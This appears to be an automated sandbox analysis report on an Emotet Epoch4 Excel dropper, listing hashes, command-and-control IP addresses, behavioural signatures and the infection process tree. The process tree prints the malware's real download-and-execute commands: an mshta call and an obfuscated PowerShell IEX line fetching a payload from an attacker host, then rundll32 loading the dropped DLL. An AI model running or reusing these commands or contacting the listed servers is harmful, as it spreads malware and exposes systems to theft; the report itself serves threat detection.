emotet | c44e4deefcafc7ee05e1af237236f0948fb41b8d7c84bbfedee245e937d84693

Analysis

max time kernel
123s
max time network
154s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 16:26

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General

Target
tmpeyp0oymk.xls
Size 154KB
Sample220127-txh1gsffhl
SHA256 c44e4deefcafc7ee05e1af237236f0948fb41b8d7c84bbfedee245e937d84693
MD5 22f40b1a729788d6cbfc9be2314ee60e
SHA1 033dce4353c1059b9a634cb499e2e2a5297e9edc
SHA512 e37d7015938e3b1360fda46e61da5dec1f411d7da2828f0cc21e76ca56dac22fade6a0ebe93857e115422849137c1fcd14fa48d007a90dd05fc4c7f94d4a1949
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4896	3408	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
33	5012	mshta.exe
39	5072	powershell.exe
41	5072	powershell.exe
48	1032	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2376	rundll32.exe
2756	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bmymtmdios\avxgdtg.oyt	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
400	5012	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3408	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5072	powershell.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
5072	powershell.exe
5072	powershell.exe
1032	rundll32.exe
1032	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	400	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE
3408	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 4896	3408	EXCEL.EXE	71
PID 3408 wrote to memory of 4896	3408	EXCEL.EXE	71
PID 4896 wrote to memory of 5012	4896	cmd.exe	74
PID 4896 wrote to memory of 5012	4896	cmd.exe	74
PID 5012 wrote to memory of 5072	5012	mshta.exe	75
PID 5012 wrote to memory of 5072	5012	mshta.exe	75
PID 5072 wrote to memory of 2368	5072	powershell.exe	79
PID 5072 wrote to memory of 2368	5072	powershell.exe	79
PID 2368 wrote to memory of 2376	2368	cmd.exe	80
PID 2368 wrote to memory of 2376	2368	cmd.exe	80
PID 2368 wrote to memory of 2376	2368	cmd.exe	80
PID 2376 wrote to memory of 2756	2376	rundll32.exe	81
PID 2376 wrote to memory of 2756	2376	rundll32.exe	81
PID 2376 wrote to memory of 2756	2376	rundll32.exe	81
PID 2756 wrote to memory of 2228	2756	rundll32.exe	82
PID 2756 wrote to memory of 2228	2756	rundll32.exe	82
PID 2756 wrote to memory of 2228	2756	rundll32.exe	82
PID 2228 wrote to memory of 1032	2228	rundll32.exe	83
PID 2228 wrote to memory of 1032	2228	rundll32.exe	83
PID 2228 wrote to memory of 1032	2228	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpeyp0oymk.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5072
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2368
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2376
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2756
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bmymtmdios\avxgdtg.oyt",pGJyizKeKCC
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2228
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bmymtmdios\avxgdtg.oyt",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1032
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 5012 -s 2028
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1032-630-0x0000000004AD0000-0x0000000004AF5000-memory.dmp

Download

memory/1032-640-0x0000000004F50000-0x0000000004F75000-memory.dmp

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memory/1032-638-0x0000000004E60000-0x0000000004E85000-memory.dmp

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memory/1032-636-0x0000000004D70000-0x0000000004D95000-memory.dmp

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memory/1032-634-0x0000000004C90000-0x0000000004CB5000-memory.dmp

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memory/1032-632-0x0000000004BB0000-0x0000000004BD5000-memory.dmp

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memory/1032-628-0x00000000044D0000-0x00000000044F5000-memory.dmp

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memory/2376-608-0x0000000004761000-0x0000000004782000-memory.dmp

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memory/2756-618-0x0000000004D30000-0x0000000004D55000-memory.dmp

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memory/2756-613-0x0000000004790000-0x00000000047B5000-memory.dmp

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memory/2756-625-0x0000000004FB0000-0x0000000004FD5000-memory.dmp

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memory/2756-616-0x0000000004BD0000-0x0000000004BF5000-memory.dmp

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memory/2756-620-0x0000000004D90000-0x0000000004DB5000-memory.dmp

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memory/2756-622-0x0000000004DF0000-0x0000000004E15000-memory.dmp

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memory/3408-124-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-664-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-119-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-667-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-120-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-121-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-666-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-118-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-665-0x00007FFE0CBA0000-0x00007FFE0CBB0000-memory.dmp

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memory/3408-131-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

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memory/3408-132-0x00007FFE09380000-0x00007FFE09390000-memory.dmp

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memory/5072-292-0x0000021B61A80000-0x0000021B61AA2000-memory.dmp

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memory/5072-327-0x0000021B61AE0000-0x0000021B61AE2000-memory.dmp

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memory/5072-550-0x0000021B61AE6000-0x0000021B61AE8000-memory.dmp

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memory/5072-328-0x0000021B61AE3000-0x0000021B61AE5000-memory.dmp

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memory/5072-364-0x0000021B79D50000-0x0000021B79D8C000-memory.dmp

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memory/5072-396-0x0000021B7A310000-0x0000021B7A386000-memory.dmp

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